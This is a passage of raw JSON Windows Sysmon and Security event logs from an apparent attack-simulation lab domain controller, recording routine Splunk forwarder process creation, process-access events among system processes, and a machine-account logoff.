Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.798","SourceProcessGUID":"{90617006-4087-5F2D-0000-001010930500}","SourceProcessId":"1932","SourceThreadId":"3472","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221784,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x44C96\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x44c96","LogonType":"3","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.330\r\nProcessGuid: {90617006-4088-5F2D-0000-0010B6940500}\r\nProcessId: 3612\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.330","ProcessGuid":"{90617006-4088-5F2D-0000-0010B6940500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4088-5F2D-0000-0010B6940500}\r\nTargetProcessId: 3612\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4088-5F2D-0000-0010B6940500}","TargetProcessId":"3612","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4088-5F2D-0000-0010B6940500}\r\nTargetProcessId: 3612\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4088-5F2D-0000-0010B6940500}","TargetProcessId":"3612","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 